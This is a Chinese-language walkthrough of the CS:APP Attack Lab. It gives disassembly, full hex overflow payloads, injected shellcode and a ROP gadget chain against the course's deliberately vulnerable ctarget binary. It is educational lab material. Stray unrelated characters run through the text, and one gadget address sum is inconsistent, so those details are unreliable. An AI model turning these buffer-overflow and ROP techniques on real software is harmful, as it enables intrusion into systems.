Attack Lab
//執(zhí)行ctarget會(huì)進(jìn)入并要利用的函數(shù)
void test()
{
int val;
val = getbuf();
printf("No exploit.Getbuf returned 0x%x\n", val);
}
//getbuf的實(shí)現(xiàn)
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf); /* 沒有邊界檢查 */
return 1;
}
objdump中g(shù)etbuf的反匯編
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
level 1
目標(biāo):Your task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement,rather than returning to test
所以我們需要在調(diào)用getbuf()
的時(shí)候把返回地址覆蓋成touch1()
的入口地址澎迎。
由于Gets()
讀取28個(gè)字節(jié)后就會(huì)將getbuf()
的返回地址覆蓋。
objdump出touch1
:
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
得到應(yīng)該在溢出區(qū)填充地址 00000000004017c0
所以應(yīng)該填充:
(小端, 低位低地址,高位高地址)
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
寫在文件exploit.txt
(附錄A有工具h(yuǎn)ex2raw的使用方法)中督笆, 然后運(yùn)行命令:
cat exploit.txt |./hex2raw | ./ctarget -q
level 1就這樣就完成了:
level 2
目標(biāo):Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case,however, you must make it appear to touch2 as if you have passed your cookie as its argument.
比level1多了一個(gè)要求椿每,就是要傳入自己的cookie來進(jìn)行判斷倒彰,顯示出帶有touch2的輸出才是正確的拉馋。
/* touch2 */
void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
前面與level1同理亲雪,找出touch2()
的入口地址:0x4017ec
跑揉。
這里會(huì)注入一段代碼锅睛,使得rdi攜帶參數(shù)cookie(下載的lab中有個(gè)cookie.txt文件):
movq $0x59b997fa %rdi
retq
借助編譯器以及objdump得到二進(jìn)制指令:
gcc -c level2.c
objdump -d level2.o
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: c3 retq
直接利用28字節(jié)的緩沖區(qū)注入代碼埠巨,所以這里應(yīng)該要想辦法得到數(shù)據(jù)棧的地址,利用gdb我們可以得到getbuf()
數(shù)據(jù)棧頂?shù)牡刂窞?x5561dc78:
所以我們把getbuf()
的返回地址覆蓋為數(shù)據(jù)棧頂?shù)牡刂罚?br>
所以有二進(jìn)制編碼:
48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00
getbuf()
返回時(shí)會(huì)把rsp定位到0x5561dc78
现拒,當(dāng)我們注入的代碼調(diào)用retq時(shí)辣垒,又接著彈出地址0x5561dc80
的數(shù)據(jù),這次會(huì)定位到函數(shù)touch2()
印蔬。
通過第四章知道:ret會(huì)把棧頂元素傳送到rip勋桶,然后rsp+8
level 3
目標(biāo):Your task is to get CTARGET to execute the code for touch3 rather than returning to test. You must make it appear to touch3 as if you have passed a string representation of your cookie as its argument.
- 可以看出基本與level2同理,只是要注意hexmatch可能會(huì)覆蓋我們注入的代碼
/* 從代碼中可以看出我們要返回分支touch3才是正確 */
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
所以我們要把cookie(0x59b997fa)轉(zhuǎn)化為字符串:
35 39 62 39 39 37 66 61
找出touch3
的入口地址(0x4018fa):
00000000004018fa <touch3>:
4018fa: 53 push %rbx
4018fb: 48 89 fb mov %rdi,%rbx
4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel>
401905: 00 00 00
401908: 48 89 fe mov %rdi,%rsi
40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie>
401911: e8 36 ff ff ff callq 40184c <hexmatch>
401916: 85 c0 test %eax,%eax
401918: 74 23 je 40193d <touch3+0x43>
40191a: 48 89 da mov %rbx,%rdx
40191d: be 38 31 40 00 mov $0x403138,%esi
401922: bf 01 00 00 00 mov $0x1,%edi
401927: b8 00 00 00 00 mov $0x0,%eax
.......
這里要計(jì)算一下注入的地址(與level2同理):
- address為:0x5561dc78+0x28+0x8+0x8 = 0x5561dcb0
要注入的匯編語句(利用rdi傳遞參數(shù)):
movq $0x5561dcb0扛点, %rdi
retq
#反匯編出來
0000000000000000 <.text>:
0: 48 c7 c7 b0 dc 61 55 mov $0x5561dcb0,%rdi
7: c3 retq
所以我們的注入二進(jìn)制為:
48 c7 c7 b0 dc 61 55 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61
運(yùn)行命令得到結(jié)果:
level 4
It uses randomization so that the stack positions differ from one run to another. This makes it impossible to determine where your injected code will be located.
It marks the section of memory holding the stack as nonexecutable, so even if you could set the program counter to the start of your injected code, the program would fail with a segmentation fault
由于level4 和 level5開啟了棧隨機(jī)化和限制可執(zhí)行代碼區(qū)域(書上3.10.4)哥遮,所以需要使用ROP攻擊
思路是利用pop %rdi
,然后ret
返回到touch2
陵究,但是不能直接找到這樣的代碼眠饮,不過可以間接找到兩個(gè):
# 58 --> pop rax%
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
# 48 89 c7 --> movl rax%, rdi%
# 然后緊跟著nop(沒有影響),retq
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
求出兩個(gè)要利用的地址:
-
addval_219:
0x4019a7 + 0x4 = 0x4019ab -
setval_426:
0x4019c5 + 0x2 = 0x4019c5
利用工具objdump反匯編出來touch2
的地址0x4017ec:
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 3c 20 00 02 movl $0x2,0x203ce0(%rip)
# 6054dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 3c 20 00 cmp 0x203ce2(%rip),%edi
# 6054e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be 08 32 40 00 mov $0x403208,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
......
分析完了,我們現(xiàn)在可以進(jìn)行填充铜邮,這里首先還是采用28字節(jié)填充仪召,然后填充第一個(gè)gadget的地址,使程序執(zhí)行該地址處的指令pop %rax
松蒜,這是棧指針位置處應(yīng)該填上cookie扔茅,接著執(zhí)行的ret會(huì)把cookie上面的棧值的地址處的指令傳送到%rip,利用mov %rax, %rdi實(shí)現(xiàn)參數(shù)的傳遞秸苗,在利用ret使得程序定位到touch2()
:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00